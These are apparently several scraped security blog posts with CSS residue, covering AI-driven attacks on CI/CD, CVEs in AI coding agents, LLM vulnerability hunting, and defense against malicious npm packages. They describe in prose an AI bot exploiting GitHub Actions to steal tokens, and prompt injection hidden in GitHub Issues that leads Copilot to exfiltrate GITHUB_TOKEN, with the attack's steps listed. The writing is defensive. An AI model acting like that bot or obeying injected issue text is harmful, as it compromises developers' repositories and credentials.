For giggles, I let an AI generate the summary this week (the following bullets are AI-generated with human tweaks) — but don’t worry, the details below this list are all human-written:

  • AI bot “hackerbot-claw” actively exploited GitHub Actions misconfigs to get RCE in multiple repos and exfiltrate a write-scoped GITHUB_TOKEN. stepsecurity.io

  • OpenClaw “ClawJacked” chain let a malicious website take over a local AI agent by abusing localhost exposure (WebSocket + brute force), collapsing “browser tab” → “agent control.” oasis.security

  • ModelScope MS-Agent bug (CVE-2026-2256) enabled OS command execution via the Shell tool due to improper input sanitization—exactly the kind of footgun that turns “agent tooling” into a direct host compromise path. SecurityWeek

  • StegaBin: 26 malicious npm packages tied to the “Contagious Interview” ecosystem used multi-stage install-time execution with Pastebin/Vercel tradecraft to deploy credential theft + RAT payloads. The Hacker News

  • SiteOrigin Page Builder (WordPress) Local File Inclusion (CVE-2026-2448) gave authenticated (Contributor+) attackers a route to include/execute server-side files—high blast radius given the plugin’s install base. NVD

Get notified of new research and analysis, without the marketing
visual

Feature: hackerbot-claw showed why CI/CD needs “default-deny” guardrails

The tail end of February brought us an active attack campaign from an AI bot called hackerbot-claw, and claiming to be a “friendly” security bot powered by the Clade-Opus-4.5 model; I’m sure Anthropic is thrilled for the association (that’s sarcasm, folks).

The “friendly” nature of it is disputed, since it scanned GitHub Actions workflows that are subject to various weaknesses like the well-known challenges with Actions that use pull_request_target. And it didn’t just flag them, it opened PRs designed to exploit them, successfully executing arbitrary code in CI/CD pipelines and exfiltrating privileged GitHub tokens (by reading GITHUB_TOKEN, mainly).

According to Step Security, several high-profile organizations disclosed impact. And there seem to be weak indications of many more attempts — I suspect many more orgs were impacted than just those who responsibly disclosed the attacks and breaches.

Important things to learn from this campaign

  • CI is increasingly a continuous attack surface, and AI is accelerating that. Nothing about this attack requires AI: traditional automation would work just fine. But available evidence suggests that architecting it around AI has several significant benefits for the attacker, including rapid adaptability, shorter scaling paths, and greater difficulty establishing IoC’s (Indicators of Compromise) for defenders.

  • Token exfil sucks. CI/CD tokens (like GITHUB_TOKEN), even when managed using a secrets vault, are by necessity exposed during key parts of CI/CD runs. When those tokens have higher privileges (such as repo-write or release privileges), a compromise of a sandboxed CI runner is suddenly an elevation of privilege. Even without exfiltration, attacker-controlled code in CI has elevated access. But with exfiltration, attackers can launch further, more-targeted attacks until you notice and revoke the credential.

  • CI isn’t the only risk. GitHub tokens are bad enough to exfiltrate, but we should take note that some of the compromised Actions also had access to deployment keys and other third-party service credentials. This is a good reminder of the importance of ensuring that attackers can’t influence your CI: something especially relevant to organizations that maintain open-source projects that accept public contributions.

What do you have to do?

  1. Eliminate the whole “pwn request” vulnerability class. Just don’t use pull_request_target for untrusted contributions. Or, if there’s really important value to it, at least fully define and document the trust boundary, so you can keep the scope narrow so that Actions implementing it also don’t have elevated privileges.

  2. Review your token scopes. Use least-privilege GITHUB_TOKEN permissions; avoid broadly-scoped PAT (Personal Access Token) use and grant tokens only the minimum permissions. Make sure “write” and “release” tokens are narrowly-scoped and not triggered by untrusted users or workflows (which is, I understand, kind of restating the last point a bit).

  3. Lock your runners down tight. Make sure container images you use for CI are locked down. Put endpoint controls on them. Control egress. Sandbox as much as possible in ways that code inside can’t have access to.

  4. Put CI configs into your security review process. Build up security champions within DevOps, and build processes to regularly review and test CI configurations with an explicit, security-focused scope. It’s honestly some of your most important “code” (yeah, it’s low-code or no-code, but you know what I mean).

  5. Invest in reproducible builds. Not that this is easy, mind you. But investing in reproducibility so you can audit what happened during a build and recreate it if needed helps with reducing response costs and with the testing I recommended above. The best time to start working towards SLSA Level 2 builds was a year ago; the second best time is now.

OpenClaw “ClawJacked” turned a browser visit into agent takeover

I generally avoid saying “don’t use this”, but OpenClaw is tempting me. Among the many serious flaws that have been reported in OpenClaw components, SecurityWeek reports an issue where attacker access to a gateway/agent service can turn into arbitrary RCE.

If you use OpenClaw, update to fixed versions (v2026.2.25+ is explicitly called out), and treat agent/gateway services like privileged admin interfaces: bind ports tightly, require strong authentication and authorization, and add rate-limiting/lockouts. And honestly, please please run it in a very hardened, carefully-scoped container. I trust Docker (or whatever) to sandbox resources a heck of a lot more than I trust OpenClaw.

ModelScope MS-Agent Shell tool command execution

CVE-2026-2256 CVSS v3.1 =6.5 CVSS:3.1/…

Whoops. Some users of the MS-Agent AI framework found themselves on the short end of a prompt-injection-to-arbitrary-command-exec pipeline last week. And it comes with a ready-made, public proof of concept too.

US-CERT has a great technical write-up. The short of it is the check_safe() routine that’s supposed to, as the name implies, check to see if something is safe to pass to the framework’s embedded shell execution hook is actually safe, didn’t really do a great job.

Update to v1.6.0rc1 or later, but also make sure you are deploying agents in trusted contexts with appropriate sandboxing and related controls. I’m sounding like a broken record, but we really need to make this the default advice.

StegaBin: malicious npm packages with install-time execution + staged payload delivery

Checkmarx Zero warned in February that there was a resurgence of the malicious npm package campaign that was previously dubbed “Contagious Interview.” And it seems like at almost exactly the same time, kmsec.uk was digging deep into the campaign’s techniques.

This hit the news last week, despite being largely already contained, as it entered the realm of Security Journalism via [The Hacker News](The Hacker News and some clever naming campaign work.

Nevertheless, it’s worth it for defenders to continue to be vigilant and take actions to protect yourself from malicious packages, including campaigns like this.

WordPress Page Builder by SiteOrigin Local File Inclusion

CVE-2026-2448 CVSS v3.1 =8.8 CVSS:3.1/…

This WordPress plugin vulnerability in SiteOrigin versions through (and including) 2.33.5 may seem run-of-the-mill at a time of targeted malicious packages and AI-driven attacker campaigns; but it’s a solid reminder that the importance of basic supply-chain security in your AppSec program hasn’t disappeared.

Fortunately, this vulnerability is only exploitable by an attacker who has at least Contributor access. But since there is a path to code execution, it’s still worth prioritizing the patch.

The core issue is that locate_template(), which is presumed to only load approved template files, had an issue where it can be tricked into loading nearly any file on the server; and if a PHP file, executing it.

Upgrade the plugin if you have it, and review logs on impacted servers to identify any indicators of attack attempts.

]]>
right visual visual
Last Week in AppSec for 26. February 2026 https://checkmarx.com/zero-post/last-week-in-appsec-for-26-february-2026/ Thu, 26 Feb 2026 13:00:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=107354 @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");@font-face{font-family:'Hack';src:url('https://cdnjs.cloudflare.com/ajax/libs/hack-font/3.3.0/web/fonts/hack-regular-subset.woff2') format('woff2')}:root{--code-font:'Hack','Menlo','Consolas',monospace !important;--code-bg:#1e1e1e;--code-color:#0c1;--code-dim:#071;--text-color:#121185;--highlight-color:#f8ff91;--highlight-color-alt:#736ca0}article.content{max-width:100% !important;min-width:80% !important;width:99% !important}.wp-block-code code{text-wrap:nowrap !important}figure{margin-top:1.5rem;margin-bottom:1.5rem}p.caption,figcaption{font-size:1rem !important;font-style:italic !important;color:var(--code-dim) !important}p.caption *,figcaption *{font-size:inherit !important}div.callout{max-width:80% !important;padding-top:.5rem;padding-bottom:.5rem;margin-top:1rem;margin-bottom:1rem;display:block;margin-left:10%;border-top:.3rem solid #121185;border-bottom:.3rem solid #121185}div.callout p{font-size:x-large;text-align:left;font-weight:bold}.cxzero-video-include{display:block;max-width:1920px;width:100%;padding-top:1rem;padding-bottom:1rem}.cxzero-video-include video{display:block;padding:.5rem;background-color:var(--code-bg);width:98%;object-fit:cover}pre.wp-block-code,pre.highlighted-code,pre.sourceCode,pre{border:1px solid var(--code-color);width:90%;background-color:var(--code-bg);color:var(--code-color);margin:1em;padding:2em;overflow-x:scroll;font-family:var(--code-font);font-size:10.5pt;line-height:1.1em;text-wrap:nowrap !important;box-shadow:5px 5px 13px 0 var(--code-bg)}* kbd,* code,* tt{font-family:var(--code-font);padding-inline:.5em;color:var(--code-dim);font-size:85%}pre code{color:var(--code-color);font-size:90%}pre.highlighted-code span{font-family:var(--code-font);font-size:10.5pt;color:var(--code-color)}pre.highlighted-code span.comment{font-style:italic;color:var(--code-dim)}pre.highlighted-code span.keyword,pre.highlighted-code span.preproc{font-weight:bold;font-style:oblique}blockquote,blockquote *{font-size:1.375rem !important;font-style:italic !important}blockquote{border-left:.1rem solid;padding-left:1rem}mark,mark *{background-color:var(--highlight-color) !important}mark.ai-content,mark.ai-content *{background-color:var(--highlight-color-alt) !important;color:#fff !important}.cxzero-cve-block{border:1px solid var(--code-color,#0c1);padding:.5rem;p{padding:0;margin:0}span.vulndesc{display:block;font-size:.9rem;font-weight:400;font-style:italic}span.cvss::before{content:" "}span.cvss{background:#fe0}span.cvss.critical{background:#c00;color:#eee}span.cvss.high{background:#ffac1c;color:#0015ff}span.vector::before{content:"▸"}span.vector,span.vector *{overflow-wrap:break-word;font-family:var(--code-font);font-size:10pt}.kev{display:block;font-weight:bold}.kev::before{content:"‼"}}.print-source-info{display:none}@media print{.header,.header *,.article-nav,.article-nav *,.aticle-nav,.aticle-nav *,.section_latest,.section-latest *,footer,footer *,.section-menu-page,.section-menu-page *,.top-menu,.top-menu *,.top-menu__container,.top-menu__container *,.section-zero-article,.section-zero-article *{display:none}@page{margin:13mm !important}.section-aticle-header__image-or-video{max-width:125mm}.print-source-info{display:block;border-left:.2rem solid #000;font-style:italic !important;font-size:85%;padding-left:1rem}}

AI trust continues to be a challenge.

The acceleration promised by AI code assistants leads developers and others to relax their trust boundaries, and tool makers find themselves constantly weighing what they should protect users against and what risks users are accepting for themselves.

Get Last Week In AppSec in your Inbox with Checkmarx Zero
visual

Trusting the wrong repo leads to Remote Code Execution in Claude Code (CVE-2025-59536 and CVE-2026-21852)

CVE-2025-59536 CVSS v4.0 =8.7 CVSS:4.0/… Claude Code’s startup trust dialog could lead to Command Execution attack

CVE-2026-21852 CVSS v4.0 =5.3 CVSS:4.0/…Claude Code’s MCP configuration may lead to remote code execution

A pair of CVEs against Claude Code this week relate to the trust developers place in configuration files stored in code repositories.

We’d hope that repositories for an organization’s private projects wouldn’t pose high risk for this sort of tampering. However, developers who work on public or open-source projects should be extra cautious. And organizations shouldn’t assume private projects are fully safe: insider threats and even attackers who manage to have a foothold that gives them repo access are genuine risks to consider and appropriately manage.

Untrusted Hooks

Claude Code’s “hooks” feature permits the user’s settings.json configuration file to specify commands that should be run at various points in a Claude Code session; for example, you can specify a SessionStart hook to run commands the moment you start Claude Code.

If a .claude/settings.json file is in a repository, Claude will load it. A malicious user with access to a repository can put whatever commands they want in that settings file, and Claude Code would execute them for you.

While Claude does give some degree of warning that it may execute some files, and asks if you trust the repo, it doesn’t give very clear indications about what it will run. And we know from previous work that those dialogs can lie anyhow.

Claude Code trust dialog, courtesy of Try AI

Untrusted MCP configurations

Claude Code also supports interactions with Model-Context Protocol (MCP) servers, allowing Code to query data sources for additional context while it works. As with the hooks feature above, the configurations for MCP tools allow specifying initialization commands.

Which means if the repository has an .mcp.json file, Claude Code will try to run the MCP tool it defines: and it can use a command provided by an attacker, leading to remote command execution.

The warning dialog for this is much better, but researchers were able to use the same tactic above to include a .claude/settings.json with instructions to allow-list the malicious MCP configuration. When this was done, the code was run before any trust dialog was displayed.

Defense

These specific items can be addressed by updating Claude Code to the most recent version. However, organizations should expect related issues in AI agents to continue to be discovered, and developers should make behavioral changes to help reduce the risk:

  • Take warnings seriously. It’s easy to just click “Yes”, but it’s important to actually stop and think about the safety warnings AI tools give you
  • Pay attention when tool configurations change. Using hooks for various git operations that occur after git retrieves remote code (like post-merge and post-checkout) which warn when common tool configuration files and directories (like .claude and .vscode are changed) can help developers know that they should inspect those changes before running the related tool
  • Review configuration file changes in PRs. Make sure that when reviewing pull requests (PRs) / merge requests (MRs), reviewers treat configuration file changes with the same rigor as code changes. This can help catch dangerous accidents as well as attempted attacks.

These issues were reported by Check Point Research; see their discussion for details of the attack and additional response guidance.

GitHub Copilot injection from Issues when running Codespaces

Researchers with Orca Security managed to hide prompt injection attacks in GitHub Issues. When a developer starts a Codespace from that issue, the GitHub Copilot AI assistant loads the issue as context automatically. They were able to use the injection in the issue to prompt Copilot to take dangerous steps including exfiltrating sensitive data like GITHUB_TOKEN values (which allow authentication to GitHub accounts).

The technique used is very similar to how we used GitHub Issues to inject Claude Code’s security reviewer:

  • Craft a prompt that causes the AI to perform a dangerous or malicious action
  • Hide that prompt inside a GitHub Issue (either through obfuscation or providing it as an HTML comment)
  • Trigger the AI to consume the GitHub Issue, including the prompt material, as context. It then evaluates that context as part of the session, treating it as a prompt
  • The prompt executes and performs the attacker’s actions

This class of attack essentially conscripts your AI agent in an attack against you, turning your trusted assistant into a threat.

Security Week covers the story in more detail.

]]>
right visual visual tryai-claude-code-trust-dialog
Learning About LLM-Based Zero-Day Hunting with Claude Code’s Opus 4.6 https://checkmarx.com/zero-post/learning-about-llm-based-zero-day-hunting-with-claude-codes-opus-4-6/ Wed, 25 Feb 2026 21:11:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=107308 @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");@font-face{font-family:'Hack';src:url('https://cdnjs.cloudflare.com/ajax/libs/hack-font/3.3.0/web/fonts/hack-regular-subset.woff2') format('woff2')}:root{--code-font:'Hack','Menlo','Consolas',monospace !important;--code-bg:#1e1e1e;--code-color:#0c1;--code-dim:#071;--text-color:#121185;--highlight-color:#f8ff91;--highlight-color-alt:#736ca0}article.content{max-width:100% !important;min-width:80% !important;width:99% !important}.wp-block-code code{text-wrap:nowrap !important}figure{margin-top:1.5rem;margin-bottom:1.5rem}p.caption,figcaption{font-size:1rem !important;font-style:italic !important;color:var(--code-dim) !important}p.caption *,figcaption *{font-size:inherit !important}div.callout{max-width:80% !important;padding-top:.5rem;padding-bottom:.5rem;margin-top:1rem;margin-bottom:1rem;display:block;margin-left:10%;border-top:.3rem solid #121185;border-bottom:.3rem solid #121185}div.callout p{font-size:x-large;text-align:left;font-weight:bold}.cxzero-video-include{display:block;max-width:1920px;width:100%;padding-top:1rem;padding-bottom:1rem}.cxzero-video-include video{display:block;padding:.5rem;background-color:var(--code-bg);width:98%;object-fit:cover}pre.wp-block-code,pre.highlighted-code,pre.sourceCode,pre{border:1px solid var(--code-color);width:90%;background-color:var(--code-bg);color:var(--code-color);margin:1em;padding:2em;overflow-x:scroll;font-family:var(--code-font);font-size:10.5pt;line-height:1.1em;text-wrap:nowrap !important;box-shadow:5px 5px 13px 0 var(--code-bg)}* kbd,* code,* tt{font-family:var(--code-font);padding-inline:.5em;color:var(--code-dim);font-size:85%}pre code{color:var(--code-color);font-size:90%}pre.highlighted-code span{font-family:var(--code-font);font-size:10.5pt;color:var(--code-color)}pre.highlighted-code span.comment{font-style:italic;color:var(--code-dim)}pre.highlighted-code span.keyword,pre.highlighted-code span.preproc{font-weight:bold;font-style:oblique}blockquote,blockquote *{font-size:1.375rem !important;font-style:italic !important}blockquote{border-left:.1rem solid;padding-left:1rem}mark,mark *{background-color:var(--highlight-color) !important}mark.ai-content,mark.ai-content *{background-color:var(--highlight-color-alt) !important;color:#fff !important}.cxzero-cve-block{border:1px solid var(--code-color,#0c1);padding:.5rem;p{padding:0;margin:0}span.vulndesc{display:block;font-size:.9rem;font-weight:400;font-style:italic}span.cvss::before{content:" "}span.cvss{background:#fe0}span.cvss.critical{background:#c00;color:#eee}span.cvss.high{background:#ffac1c;color:#0015ff}span.vector::before{content:"▸"}span.vector,span.vector *{overflow-wrap:break-word;font-family:var(--code-font);font-size:10pt}.kev{display:block;font-weight:bold}.kev::before{content:"‼"}}.print-source-info{display:none}@media print{.header,.header *,.article-nav,.article-nav *,.aticle-nav,.aticle-nav *,.section_latest,.section-latest *,footer,footer *,.section-menu-page,.section-menu-page *,.top-menu,.top-menu *,.top-menu__container,.top-menu__container *,.section-zero-article,.section-zero-article *{display:none}@page{margin:13mm !important}.section-aticle-header__image-or-video{max-width:125mm}.print-source-info{display:block;border-left:.2rem solid #000;font-style:italic !important;font-size:85%;padding-left:1rem}}

Can AI Really Find Zero-Day Vulnerabilities?

An AI model independently surfacing real, previously unknown security flaws in production software. A landmark moment, right? That’s certainly the initial reaction to Anthropic’s release of Claude Opus 4.6 and its demonstrated capability to find zero-day vulnerabilities.

But is it as magical as it seems? Well, not exactly.

For one, LLM (Large Language Model) assisted zero-day identification isn’t new. This isn’t the first time someone has claimed to find zero-days using LLM-assisted tools. Google’s Big Sleep project found a zero-day in SQLite back in 2024, and researchers have used o3 to uncover CVE-2025-37899. These results have been out there for quite some time already.

But Opus 4.6 gave us yet another reason to take a hard look at where these capabilities actually stand. And a chance to look at the bigger picture, share the patterns we observed, what works, what doesn’t, and what it all means for the application security industry and zero-day identification at large.

AI For Vulnerability Hunting (Magic Not Included)

The AppSec paradigm, or at least the hype behind it, is seeking to take advantage of modern AI capabilities, and that includes LLM-based security reviews. But there’s still a long way to go.

LLMs work remarkably well in some contexts and fail dramatically in others. The picture that emerges is a familiar one: LLMs are a powerful complementary tool, but not yet a replacement for the security tooling and processes we all rely on today (SAST, DAST, IaC scanners, and the security experts using them).

Enforceable security controls depend on consistency, traceability, coverage guarantees, and compliance alignment, capabilities delivered by established AppSec tooling. Security professionals turn these tool outputs into organization action: they provide the critical judgment, validation, and accountability required to operationalize and govern these controls effectively.

GenAI-based security tools are weak when it comes to providing the deterministic, auditable security guarantees that effective security programs rely on. Their strength lies in accelerating triage, enriching context, and improving developer productivity (e.g., synthesizing findings, explaining vulnerabilities, and recommending remediation steps). All of which are high-value augments for developers, security professionals, and others involved in delivering secure software.

Don’t miss the latest research and analysis
visual

Interestingly, even Anthropic themselves acknowledge this in their LLM zero-day hunting blog:

As the volume of findings grew, we brought in external (human) security researchers to help with validation and patch development. Our intent here was to meaningfully assist human maintainers in handling our reports, so the process optimized for reducing false positives. (emphasis ours)
Evaluating and mitigating the growing risk of LLM-discovered 0-days

Honestly, one of the reasons we like working with Anthropic is that they have a habit of this kind of transparency, which we deeply appreciate as researchers.

But let’s get deeper into what that means by breaking down where Claude and other LLMs shine. And what the pitfalls and caveats are to be aware of before you go all-in on an LLM-based security reviewer.

Context Is Everything

Yeah, I know: that title doesn’t really say anything new. We all know that when it comes to LLMs, context is king. Yet while everybody talks about zero-day identification, few mention context anymore. As if they have a magic solution for finding zero-days in given, arbitrarily long, complicated context (like real production codebases). Spoiler: there is no such solution.

If you know what you’re doing, Claude (and other LLMs) can really save you time on the low-hanging fruit. (And let’s be honest, “if” is doing a lot of lifting there.) Claude can review many lines of code in a matter of seconds, identify well-known patterns, and flag any strong signals of insecure code, such as a call to eval(). But in practice, the larger the context, the worse the results tend to be.

We really don’t want you to blindly trust us, though, that’s why we want to walk you through the exact same journey the Checkmarx Zero research team took.

Let’s start by examining one of the zero-day Anthropic claims Claude Opus found in the CGif library during their research. Examine the overflow in the CGif library for yourself.

Reviewing this repo, you’ll see that the actual code resides in only 3 different C files (~600 LoC [Lines of Code] each) and 2 additional header files (~100 LoC each), so the total is less than 2,000 lines. How representative of enterprise code and vulnerabilities is this? While this finding is really cool as an experiment, is this a realistic example? Does it cover YOUR use case? We’re not quite sure.

In a similar vein, demos of the security features of Claude Code Security features since the introduction of Opus 4.6 show its use for reducing false positives from established security tools. But we found that many straightforward, well-known vulnerability classes are missed when you take a large codebase and simply ask Claude to “find some vulns here.” Worse, that approach doesn’t just reduce true positives, it also significantly inflates the false-positive rate.

Let’s see what we got when Claude was tasked with reviewing the n8n repository as a whole:

the analysis identified eight vulnerabilities while consuming approximately 90% of the available tokens, and that entire exchange stemmed from a single prompt. Of those eight findings, only two were true positives

Claude Code security reviewer analyzing n8n; specific details redacted as repair has not yet been completed

Results breakdown (some info was redacted for the sake of simplicity):

One of our tests included a full production-grade codebase scan, without any specific context other than asking Claude to search for vulnreabilities. The analysis identified eight vulnerabilities while consuming approximately 90% of the available tokens, and that entire exchange stemmed from a single prompt. Of those eight findings, only two were true positives.

To improve results, we tried tailoring the context by letting Claude review specific code with some vulnerability-related context, like past vulnerabilities. For example, here’s some of what Claude found in open-source packages:

  • XSS via SVG in n8n. Claude Opus 4.6 successfully identified an SVG-based vulnerability in n8n. Notably, this wasn’t exclusive to the top-tier model, OpenAI’s models and other Anthropic models also caught it. However, Opus 4.6 also stated that once SVG is addressed, the issue will be resolved. This is definitely not true, refer to some great research on MIME type sniffing and BlackFan’s content-type research for why. This highlights the importance of treating AI-generated recommendations with skepticism, and having a qualified person review them before taking action.

To be clear, we are not raising these points to shame Anthropic. Quite the opposite: we have a lot of respect for them and their products, and it’s part of why we spend research time on them. They have built an impressive product that, only a few years ago, would have seemed purely aspirational. However, these important nuances are often not sufficiently highlighted in PR communications or by industry influencers — just look at the outsized reaction to the announcement of Claude Code Security.

As a security company, we know first hand that defenders need much more than just “identification.” Security teams need to know whether a result is a false positive, whether it’s really exploitable, what the vulnerability’s impact is, how to prioritize it, and so on. These aren’t a wish list: they’re real client needs that we hear every day.

The current generation of AI tools simply can’t provide those answers in a repeatable and reliable way. Without sufficient context (and the associated costs for consumers), their capabilities are further limited. And as we already said, providing adequate context isn’t easy. And when you start to consider the costs of scanning projects like n8n with LLM and adequate context, you realize that you may end up exhausting your token budget before even seeing meaningful results.

For example, recall that in the n8n review we had to consume a large amount of our context budget just for this one finding, and still had false positives. What does that look like at Enterprise scale?

What This Means for AppSec

The hype around AI-powered vulnerability discovery is warranted, but only partially. LLMs can really find zero-day vulnerabilites. They can catch issues that traditional tools miss, reason about complex code flows, and surface vulnerabilities that require an understanding of application logic rather than just pattern matching. And they fit neatly into developer and security workflows. There’s a reason Checkmarx offers AI security tools too: there’s genuine value there.

But AI security tools are not a silver bullet. They miss things. They hallucinate findings. And their effectiveness varies wildly based on how they’re used and what context they’re provided with.

The future of AppSec isn’t “AI or traditional tools”, it’s “AI and traditional tools”, wielded by security professionals who understand the strengths and limitations of both. It’s wisely-chosen tool stacks deployed intelligently into security-aware development lifecycles where they can accelerate security processes and lower both software risk and security program cost. The organizations that will benefit most are those that treat LLMs as a force multiplier for their existing security programs, not a substitute for them.

This context-dependency has significant implications. It means that getting value from LLM-based security review isn’t as simple as pointing a model at your repo and waiting for results. It requires security expertise to direct the model effectively, knowledge of what to look for, how to decompose a codebase into reviewable units, and how to craft prompts that minimize noise while maximizing coverage. And it requires a careful balancing of benefit vs. cost to keep security programs within challenging budget constraints.

Whether Claude surfaces a vulnerability depends heavily on how you scope the review, what context you provide, and which techniques you use to guide the analysis. If that makes you start to feel that Claude complements your existing tools and team of security researchers, that’s exactly what it made us feel, too.

Bring Your Own Magic

LLMs are getting better at finding vulnerabilities, that much is clear. But the gap between “impressive demo” and “production-ready security tool” is still wide. Context matters more than anyone in the hype cycle wants to admit; findings need expert validation; and the real value comes from integrating these capabilities thoughtfully into an existing security program alongside proven tools and qualified experts.

]]>
right visual visual cxzero-opus46-ori-fig1 cxzero-sdl2-deprecation-freerdp right visual
Protecting yourself against malicious open-source packages https://checkmarx.com/zero-post/protecting-yourself-against-malicious-open-source-packages/ Thu, 19 Feb 2026 13:00:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=106997 @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");@font-face{font-family:'Hack';src:url('https://cdnjs.cloudflare.com/ajax/libs/hack-font/3.3.0/web/fonts/hack-regular-subset.woff2') format('woff2')}:root{--code-font:'Hack','Menlo','Consolas',monospace !important;--code-bg:#1e1e1e;--code-color:#0c1;--code-dim:#071;--text-color:#121185;--highlight-color:#f8ff91;--highlight-color-alt:#736ca0}article.content{max-width:100% !important;min-width:80% !important;width:99% !important}.wp-block-code code{text-wrap:nowrap !important}figure{margin-top:1.5rem;margin-bottom:1.5rem}p.caption,figcaption{font-size:1rem !important;font-style:italic !important;color:var(--code-dim) !important}p.caption *,figcaption *{font-size:inherit !important}div.callout{max-width:80% !important;padding-top:.5rem;padding-bottom:.5rem;margin-top:1rem;margin-bottom:1rem;display:block;margin-left:10%;border-top:.3rem solid #121185;border-bottom:.3rem solid #121185}div.callout p{font-size:x-large;text-align:left;font-weight:bold}.cxzero-video-include{display:block;max-width:1920px;width:100%;padding-top:1rem;padding-bottom:1rem}.cxzero-video-include video{display:block;padding:.5rem;background-color:var(--code-bg);width:98%;object-fit:cover}pre.wp-block-code,pre.highlighted-code,pre.sourceCode,pre{border:1px solid var(--code-color);width:90%;background-color:var(--code-bg);color:var(--code-color);margin:1em;padding:2em;overflow-x:scroll;font-family:var(--code-font);font-size:10.5pt;line-height:1.1em;text-wrap:nowrap !important;box-shadow:5px 5px 13px 0 var(--code-bg)}* kbd,* code,* tt{font-family:var(--code-font);padding-inline:.5em;color:var(--code-dim);font-size:85%}pre code{color:var(--code-color);font-size:90%}pre.highlighted-code span{font-family:var(--code-font);font-size:10.5pt;color:var(--code-color)}pre.highlighted-code span.comment{font-style:italic;color:var(--code-dim)}pre.highlighted-code span.keyword,pre.highlighted-code span.preproc{font-weight:bold;font-style:oblique}blockquote,blockquote *{font-size:1.375rem !important;font-style:italic !important}blockquote{border-left:.1rem solid;padding-left:1rem}mark,mark *{background-color:var(--highlight-color) !important}mark.ai-content,mark.ai-content *{background-color:var(--highlight-color-alt) !important;color:#fff !important}.cxzero-cve-block{border:1px solid var(--code-color,#0c1);padding:.5rem;p{padding:0;margin:0}span.vulndesc{display:block;font-size:.9rem;font-weight:400;font-style:italic}span.cvss::before{content:" "}span.cvss{background:#fe0}span.cvss.critical{background:#c00;color:#eee}span.cvss.high{background:#ffac1c;color:#0015ff}span.vector::before{content:"▸"}span.vector,span.vector *{overflow-wrap:break-word;font-family:var(--code-font);font-size:10pt}.kev{display:block;font-weight:bold}.kev::before{content:"‼"}}.print-source-info{display:none}@media print{.header,.header *,.article-nav,.article-nav *,.aticle-nav,.aticle-nav *,.section_latest,.section-latest *,footer,footer *,.section-menu-page,.section-menu-page *,.top-menu,.top-menu *,.top-menu__container,.top-menu__container *,.section-zero-article,.section-zero-article *{display:none}@page{margin:13mm !important}.section-aticle-header__image-or-video{max-width:125mm}.print-source-info{display:block;border-left:.2rem solid #000;font-style:italic !important;font-size:85%;padding-left:1rem}}

An infectious surprise

In a cozy apartment an hour outside of San Francisco, a developer grabs her second cup of tea, opens VSCode, pulls updates from GitHub for her current project, and runs npm install. As she works, malware is infecting her machine; it finds her GitHub credentials and begins to infect every one of the repos she has commit rights to: which is almost everything. As her colleagues come online and begin to work, infected GitHub Actions begin to steal credentials to cloud providers, sending them who knows where. She pushes her changes and starts a PR, triggering those Actions workflows to run, infecting one of the CI runners long enough to steal deploy keys and AWS credentials.

She didn’t know that one of the dependencies her app relies on had been infected by Shai-Hulud. Not the Great Worm from the universe of Dune, but a particularly clever and nasty bit of malware that steals credentials and self-replicates. And the maintainer of that package didn’t know that. But she found out when her company’s SCA (one of the few on the market that will report malicious open-source packages) warned her and blocked the merge of her PR. By then, though, a lot of damage was done.

Why didn’t security tools stop the harm?

Application Security tools exist that designed to understand what open-source components your software relies on. These are typically offered under the category of Software Composition Analysis (SCA). Your typical SCA tool enumerates open-source components and reports when those components have vulnerabilities that could leave your applications open to potential attack.

The key there is potential. A software vulnerability is a potential risk. If you allow it into production, someone might find it, they might know how to attack it, and your operational controls might be inadequate to the task. Because of this, responding to SCA findings is typically an exercise in risk management. The tool finds  a risk, gives information about its severity and general likelihood, and the security team applies that information to their environment, threat model and existing controls. Someone takes a decision whether to ask developers to fix the issue, and what priority the repair should receive.

But malicious packages are different. A great many deliver their harmful payloads the moment they’re installed. That’s not a thing that might happen: at that point, it’s a thing that has happened. An installed malicious package is not a mere vulnerability, but rather an attack in progress!

SCA wasn’t built to defend against this threat. Sure, good SCA tools can detect malicious packages whenever the application is scanned, and that’s a valuable layer of defense. But it occurs far too late to prevent malicious packages from being installed. Which means developer workstations and even CI/CD systems can be infected for hours or days before an SCA scan even has a chance to detect the problem. Something else is needed. Something more proactive.

Three core controls for protecting yourself against malicious packages

Since SCA tends to happen too late, and take too long, what can development teams do to protect themselves against being compromised by malicious open-source packages, and how can security help? A comprehensive posture requires a lot of nuance and careful planning, but it hinges on three main things:

  1. Central management of dependencies using a package manager proxy
  2. Proactive defense of environments where packages get installed, including developer workstations, CI/CD and other build environments, and (depending on your deployment approach) sometimes even production systems.
  3. Continuous monitoring of production and pre-production environments, including the package manager proxy

These three core capabilities all require one common piece of technology stack: a system that lets you rapidly check whether packages you’re about to install are known to contain malicious content. If you can’t make this check before the package is actually installed, then you cannot defend your organization against the threat of malicious open-source packages.

Checkmarx Zero maintains the largest human-curated database of known-malicious and suspicious open-source packages. And we expose an API (the Malicious Package Identification API, or MPIAPI) that lets you accomplish this goal in a technology-agnostic manner, plugging into whatever systems you use to install dependencies and build and deploy your software. This same database also backs our Malicious Package Protection (MPP) add-on for the Checkmarx SCA product, meaning you can use the same database for both proactive defense and continuous monitoring.

Even if you don’t use Checkmarx, though, your approach remains the same. Let’s take a look at what adding defenses against malicious open-source packages to your application security or product security program looks like.

After you read this article, familiarize yourself in depth with the threat of malicious open-source packages (the Checkmarx field teams have helpfully created an executive summary and a free eBook discussing the issue in depth). This understanding will help you as you decide how to configure the following  controls effectively for your organization.

Centrally-manage your dependencies with a package manager proxy

The single most important change you can make, if you haven’t already done so, is to create a “choke point” that allows you to centrally control which packages are available to install within your organization. Fortunately, there’s an entire product category that serves this need as well as providing private package registries; it includes well-known products like JFrog’s Artifactory, Sonatype Nexus Repository, and Azure Artifacts.

These products’ primary purpose is to house first-party artifacts: that is, deployable components your organization produces, enabling them to be installed by common package managers (like npm or pip) without requiring you to publish them in the public repositories. But they also can serve as a proxy to upstream package registries; and most products in this class allow you to set policies that serve as a filter for installing public packages. That means that when a developer or a build system runs a command like npm install <package_name>, instead of the npm command downloading from the public NPM registry, it will download from your cache system instead.

Inserting a private registry as a proxy between developers and public registries like npm allows for protective policy enforcement

At minimum, this package manager proxy feature will:

